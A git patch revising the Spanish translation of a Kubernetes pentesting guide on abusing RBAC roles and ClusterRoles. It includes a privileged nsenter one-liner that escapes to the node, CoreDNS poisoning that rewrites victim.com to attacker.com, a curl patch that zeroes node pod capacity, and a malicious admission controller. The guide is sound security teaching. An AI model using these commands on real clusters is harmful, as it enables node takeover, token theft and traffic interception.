From 51330d35c003e72345ac8e09afe180362c9ee652 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 13 Apr 2025 14:33:54 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus --- .../README.md | 150 ++++++++++-------- 1 file changed, 87 insertions(+), 63 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 98c2d65c6..78c9d26ba 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -12,7 +12,7 @@ Se refiere al arte de obtener **acceso a un principal diferente** dentro del cl - Poder **suplantar** a otros usuarios/grupos/SAs con mejores privilegios dentro del clúster de kubernetes o a nubes externas - Poder **crear/parchear/ejecutar pods** donde puedes **encontrar o adjuntar SAs** con mejores privilegios dentro del clúster de kubernetes o a nubes externas - Poder **leer secretos** ya que los tokens de SAs se almacenan como secretos -- Poder **escapar al nodo** desde un contenedor, donde puedes robar todos los secretos de los contenedores que se ejecutan en el nodo, las credenciales del nodo y los permisos del nodo dentro de la nube en la que se está ejecutando (si los hay) +- Poder **escapar al nodo** desde un contenedor, donde puedes robar todos los secretos de los contenedores que se ejecutan en el nodo, las credenciales del nodo y los permisos del nodo dentro de la nube en la que se está ejecutando (si hay alguna) - Una quinta técnica que merece mención es la capacidad de **ejecutar port-forward** en un pod, ya que podrías acceder a recursos interesantes dentro de ese pod. ### Acceso a Cualquier Recurso o Verbo (Wildcard) @@ -77,7 +77,7 @@ hostNetwork: true Lo siguiente indica todos los privilegios que un contenedor puede tener: - **Acceso privilegiado** (deshabilitando protecciones y configurando capacidades) -- **Deshabilitar namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios +- **Deshabilitar los namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios - **Deshabilitar el namespace hostNetwork**, dando acceso para robar privilegios de nube de nodos y mejor acceso a redes - **Montar hosts / dentro del contenedor** ```yaml:super_privs.yaml @@ -123,7 +123,7 @@ Una línea de [este tweet](https://twitter.com/mauilion/status/11294684854807511 ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -Ahora que puedes escapar al nodo, consulta las técnicas de post-explotación en: +Ahora que puedes escapar al nodo, revisa las técnicas de post-explotación en: #### Sigilo @@ -149,9 +149,9 @@ Para más información, consulta: pod-escape-privileges.md {{#endref}} -### **Crear/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs** +### **Crear/Patch Despliegue, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs** -Es posible abusar de estos permisos para **crear un nuevo pod** y establecer privilegios como en el ejemplo anterior. +Es posible abusar de estos permisos para **crear un nuevo pod** y escalar privilegios como en el ejemplo anterior. El siguiente yaml **crea un daemonset y exfiltra el token de la SA** dentro del pod: ```yaml @@ -197,10 +197,15 @@ Por lo tanto, es posible **entrar en un pod y robar el token del SA**, o ingresa ```bash kubectl exec -it -n -- sh ``` +> [!NOTE] +> Por defecto, el comando se ejecuta en el primer contenedor del pod. Obtén **todos los pods en un contenedor** con `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` y luego **indica el contenedor** donde deseas ejecutarlo con `kubectl exec -it -c -- sh` + +Si es un contenedor distroless, podrías intentar usar **shell builtins** para obtener información de los contenedores o subir tus propias herramientas como un **busybox** usando: **`kubectl cp :`**. + ### port-forward Este permiso permite **redirigir un puerto local a un puerto en el pod especificado**. Esto está destinado a poder depurar aplicaciones que se ejecutan dentro de un pod fácilmente, pero un atacante podría abusar de ello para obtener acceso a aplicaciones interesantes (como bases de datos) o vulnerables (¿webs?) dentro de un pod: -``` +```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape @@ -247,7 +252,7 @@ allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un montaje hostPath, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura: +Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un hostPath mount, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura: ```yaml apiVersion: v1 kind: PersistentVolume @@ -389,7 +394,7 @@ El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjkl Si tiene los verbos **`create`** en el recurso `certificatesigningrequests` (o al menos en `certificatesigningrequests/nodeClient`). Puede **crear** un nuevo CeSR de un **nuevo nodo.** -De acuerdo con la [documentación, es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), así que en ese caso **no necesita permisos adicionales**. Si no, necesitaría poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `/` o `/*` +De acuerdo con la [documentación, es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), por lo que en ese caso **no necesita permisos adicionales**. Si no, necesitaría poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `/` o `/*` Un **ejemplo de un rol** con todos los permisos requeridos es: ```yaml @@ -424,7 +429,10 @@ verbs: ``` Entonces, con el nuevo CSR de nodo aprobado, puedes **abusar** de los permisos especiales de los nodos para **robar secretos** y **escalar privilegios**. -En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se +En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se abusa de ella para generar credenciales de un nuevo nodo K8s y luego abusar de esas para escalar privilegios robando secretos.\ +Si **tienes los privilegios mencionados, podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo elude el error que impide que un nuevo nodo acceda a secretos dentro de contenedores porque un **nodo solo puede acceder a los secretos de los contenedores montados en él.** + +La forma de eludir esto es simplemente **crear credenciales de nodo para el nombre del nodo donde el contenedor con los secretos interesantes está montado** (pero solo verifica cómo hacerlo en la primera publicación): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` @@ -476,12 +484,52 @@ groups: > Sin embargo, `aws --profile other_account eks update-kubeconfig --name ` **no funciona desde una cuenta diferente**. Pero en realidad `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona si pones el ARN del clúster en lugar de solo el nombre.\ > Para hacer que `kubectl` funcione, solo asegúrate de **configurar** el **kubeconfig de la víctima** y en los argumentos de ejecución de aws agrega `--profile other_account_role` para que kubectl use el perfil de la otra cuenta para obtener el token y contactar a AWS. +### Mapa de configuración de CoreDNS + +Si tienes los permisos para modificar el **`coredns` configmap** en el espacio de nombres `kube-system`, puedes modificar las direcciones a las que se resolverán los dominios para poder realizar ataques MitM para **robar información sensible o inyectar contenido malicioso**. + +Los verbos necesarios son **`update`** y **`patch`** sobre el **`coredns`** configmap (o todos los config maps). + +Un **archivo coredns** regular contiene algo como esto: +```yaml +data: +Corefile: | +.:53 { +log +errors +health { +lameduck 5s +} +ready +kubernetes cluster.local in-addr.arpa ip6.arpa { +pods insecure +fallthrough in-addr.arpa ip6.arpa +ttl 30 +} +prometheus :9153 +hosts { +192.168.49.1 host.minikube.internal +fallthrough +} +forward . /etc/resolv.conf { +max_concurrent 1000 +} +cache 30 +loop +reload +loadbalance +} +``` +Un atacante podría descargarlo ejecutando `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo añadiendo algo como `rewrite name victim.com attacker.com`, de modo que cada vez que se acceda a `victim.com`, en realidad se acceda a `attacker.com`. Y luego aplicarlo ejecutando `kubectl apply -f poison_dns.yaml`. + +Otra opción es simplemente editar el archivo ejecutando `kubectl edit configmap coredns -n kube-system` y hacer cambios. + ### Escalando en GKE Hay **2 formas de asignar permisos de K8s a los principales de GCP**. En cualquier caso, el principal también necesita el permiso **`container.clusters.get`** para poder obtener credenciales para acceder al clúster, o necesitarás **generar tu propio archivo de configuración de kubectl** (sigue el siguiente enlace). > [!WARNING] -> Al hablar con el punto final de la API de K8s, el **token de autenticación de GCP será enviado**. Luego, GCP, a través del punto final de la API de K8s, primero **verificará si el principal** (por correo electrónico) **tiene algún acceso dentro del clúster**, luego verificará si tiene **algún acceso a través de GCP IAM**.\ +> Al hablar con el punto final de la API de K8s, se **enviará el token de autenticación de GCP**. Luego, GCP, a través del punto final de la API de K8s, primero **verificará si el principal** (por correo electrónico) **tiene algún acceso dentro del clúster**, luego verificará si tiene **algún acceso a través de GCP IAM**.\ > Si **cualquiera** de esos es **verdadero**, se le **responderá**. Si **no**, se dará un **error** sugiriendo otorgar **permisos a través de GCP IAM**. Entonces, el primer método es usar **GCP IAM**, los permisos de K8s tienen sus **permisos equivalentes de GCP IAM**, y si el principal los tiene, podrá usarlos. @@ -498,17 +546,17 @@ Principales que pueden **crear TokenRequests** (`serviceaccounts/token`) al habl ### ephemeralcontainers -Principales que pueden **`update`** o **`patch`** **`pods/ephemeralcontainers`** pueden obtener **ejecución de código en otros pods**, y potencialmente **salir** a su nodo agregando un contenedor efímero con un securityContext privilegiado. +Principales que pueden **`update`** o **`patch`** **`pods/ephemeralcontainers`** pueden obtener **ejecución de código en otros pods**, y potencialmente **salir** a su nodo añadiendo un contenedor efímero con un securityContext privilegiado. ### ValidatingWebhookConfigurations o MutatingWebhookConfigurations -Principales con cualquiera de los verbos `create`, `update` o `patch` sobre `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` podrían ser capaces de **crear uno de esos webhookconfigurations** para poder **escalar privilegios**. +Principales con cualquiera de los verbos `create`, `update` o `patch` sobre `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` podrían ser capaces de **crear una de esas webhookconfigurations** para poder **escalar privilegios**. -Para un [ejemplo de `mutatingwebhookconfigurations` consulta esta sección de esta publicación](#malicious-admission-controller). +Para un [ejemplo de `mutatingwebhookconfigurations`, consulta esta sección de esta publicación](#malicious-admission-controller). ### Escalar -Como puedes leer en la siguiente sección: [**Prevención de Escalación de Privilegios Incorporada**](#built-in-privileged-escalation-prevention), un principal no puede actualizar ni crear roles o clusterroles sin tener él mismo esos nuevos permisos. Excepto si tiene el **verbo `escalate`** sobre **`roles`** o **`clusterroles`**.\ +Como puedes leer en la siguiente sección: [**Prevención de Escalación de Privilegios Incorporada**](#built-in-privileged-escalation-prevention), un principal no puede actualizar ni crear roles o clusterroles sin tener él mismo esos nuevos permisos. Excepto si tiene el **verbo `escalate` o `*`** sobre **`roles`** o **`clusterroles`** y las respectivas opciones de vinculación.\ Entonces puede actualizar/crear nuevos roles, clusterroles con mejores permisos que los que tiene. ### Proxy de nodos @@ -523,7 +571,7 @@ Tienes un ejemplo de cómo obtener [**RCE hablando autorizado a una API de Kubel ### Eliminar pods + nodos no programables -Principales que pueden **eliminar pods** (`delete` verbo sobre `pods` recurso), o **desalojar pods** (`create` verbo sobre `pods/eviction` recurso), o **cambiar el estado de los pods** (acceso a `pods/status`) y pueden **hacer que otros nodos no sean programables** (acceso a `nodes/status`) o **eliminar nodos** (`delete` verbo sobre `nodes` recurso) y tienen control sobre un pod, podrían **robar pods de otros nodos** para que sean **ejecutados** en el **nodo comprometido** y el atacante puede **robar los tokens** de esos pods. +Principales que pueden **eliminar pods** (`delete` verbo sobre `pods` recurso), o **desalojar pods** (`create` verbo sobre `pods/eviction` recurso), o **cambiar el estado del pod** (acceso a `pods/status`) y pueden **hacer que otros nodos no sean programables** (acceso a `nodes/status`) o **eliminar nodos** (`delete` verbo sobre `nodes` recurso) y tienen control sobre un pod, podrían **robar pods de otros nodos** para que sean **ejecutados** en el **nodo comprometido** y el atacante pueda **robar los tokens** de esos pods. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -556,65 +604,39 @@ La regla estipula que un **usuario solo puede crear o actualizar un rol si posee ### **Obtener y parchear RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Aparentemente, esta técnica funcionaba antes, pero según mis pruebas, ya no está funcionando por la misma razón explicada en la sección anterior. No puedes crear/modificar un rolebinding para darte a ti mismo o a una SA diferente algunos privilegios si no los tienes ya.** +> **Aparentemente, esta técnica funcionó antes, pero según mis pruebas, ya no está funcionando por la misma razón explicada en la sección anterior. No puedes crear/modificar un rolebinding para darte a ti mismo o a una SA diferente algunos privilegios si no los tienes ya.** El privilegio de crear Rolebindings permite a un usuario **vincular roles a una cuenta de servicio**. Este privilegio puede llevar potencialmente a la escalación de privilegios porque **permite al usuario vincular privilegios de administrador a una cuenta de servicio comprometida.** ## Otros ataques -### Aplicación proxy sidecar +### Aplicación de proxy sidecar -Por defecto, no hay ninguna encriptación en la comunicación entre pods. Autenticación mutua, bidireccional, de pod a pod. +Por defecto, no hay ninguna encriptación en la comunicación entre pods. Autenticación mutua, bidireccional, pod a pod. -#### Crear una aplicación proxy sidecar +#### Crear una aplicación de proxy sidecar -Crea tu .yaml -```bash -kubectl run app --image=bash --command -oyaml --dry-run=client > -- sh -c 'ping google.com' -``` -Edita tu .yaml y añade las líneas descomentadas: +Un contenedor sidecar consiste simplemente en agregar un **segundo (o más) contenedor dentro de un pod**. + +Por ejemplo, lo siguiente es parte de la configuración de un pod con 2 contenedores: ```yaml -#apiVersion: v1 -#kind: Pod -#metadata: -# name: security-context-demo -#spec: -# securityContext: -# runAsUser: 1000 -# runAsGroup: 3000 -# fsGroup: 2000 -# volumes: -# - name: sec-ctx-vol -# emptyDir: {} -# containers: -# - name: sec-ctx-demo -# image: busybox -command: -[ -"sh", -"-c", -"apt update && apt install iptables -y && iptables -L && sleep 1h", -] -securityContext: -capabilities: -add: ["NET_ADMIN"] -# volumeMounts: -# - name: sec-ctx-vol -# mountPath: /data/demo -# securityContext: -# allowPrivilegeEscalation: true -``` -Ver los registros del proxy: -```bash -kubectl logs app -C proxy +spec: +containers: +- name: main-application +image: nginx +- name: sidecar-container +image: busybox +command: ["sh","-c",""] ``` +Por ejemplo, para crear un backdoor en un pod existente con un nuevo contenedor, podrías simplemente agregar un nuevo contenedor en la especificación. Ten en cuenta que podrías **dar más permisos** al segundo contenedor que el primero no tendrá. + Más información en: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) ### Controlador de Admisión Malicioso -Un controlador de admisión **intercepta las solicitudes al servidor API de Kubernetes** antes de la persistencia del objeto, pero **después de que la solicitud ha sido autenticada** **y autorizada**. +Un controlador de admisión **intercepta solicitudes al servidor API de Kubernetes** antes de la persistencia del objeto, pero **después de que la solicitud ha sido autenticada** **y autorizada**. -Si un atacante logra **inyectar un Controlador de Admisión de Mutación**, podrá **modificar solicitudes ya autenticadas**. Esto podría permitir un posible privesc y, más comúnmente, persistir en el clúster. +Si un atacante logra **inyectar un Controlador de Admisión de Mutación**, podrá **modificar solicitudes ya autenticadas**. Esto podría permitir un potencial privesc y, más comúnmente, persistir en el clúster. **Ejemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -644,7 +666,7 @@ kubectl describe po nginx | grep "Image: " Como puedes ver en la imagen anterior, intentamos ejecutar la imagen `nginx`, pero la imagen final ejecutada es `rewanthtammana/malicious-image`. ¿Qué acaba de pasar!? -#### Technicalities +#### Technicalities El script `./deploy.sh` establece un controlador de admisión de webhook mutante, que modifica las solicitudes a la API de Kubernetes según lo especificado en sus líneas de configuración, influyendo en los resultados observados: ``` @@ -669,11 +691,11 @@ El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con - **Pods y Cuentas de Servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontaje. - **Cómo Aplicar**: Establecer `automountServiceAccountToken: false` en la configuración de cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes. -### **Asignación Restrictiva de Usuarios en RoleBindings/ClusterRoleBindings** +### **Asignación de Usuarios Restrictiva en RoleBindings/ClusterRoleBindings** -- **Inclusión Selectiva**: Asegúrese de que solo se incluyan los usuarios necesarios en RoleBindings o ClusterRoleBindings. Audite regularmente y elimine usuarios irrelevantes para mantener una seguridad estricta. +- **Inclusión Selectiva**: Asegúrese de que solo los usuarios necesarios estén incluidos en RoleBindings o ClusterRoleBindings. Audite regularmente y elimine usuarios irrelevantes para mantener una seguridad estricta. -### **Roles Específicos de Namespace sobre Roles de Clúster** +### **Roles Específicos de Namespace Sobre Roles de Clúster** - **Roles vs. ClusterRoles**: Prefiera usar Roles y RoleBindings para permisos específicos de namespace en lugar de ClusterRoles y ClusterRoleBindings, que se aplican a nivel de clúster. Este enfoque ofrece un control más fino y limita el alcance de los permisos. @@ -696,5 +718,7 @@ https://github.com/aquasecurity/kube-bench - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) +- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) +- [**https://kubenomicon.com/**](https://kubenomicon.com/) {{#include ../../../banners/hacktricks-training.md}}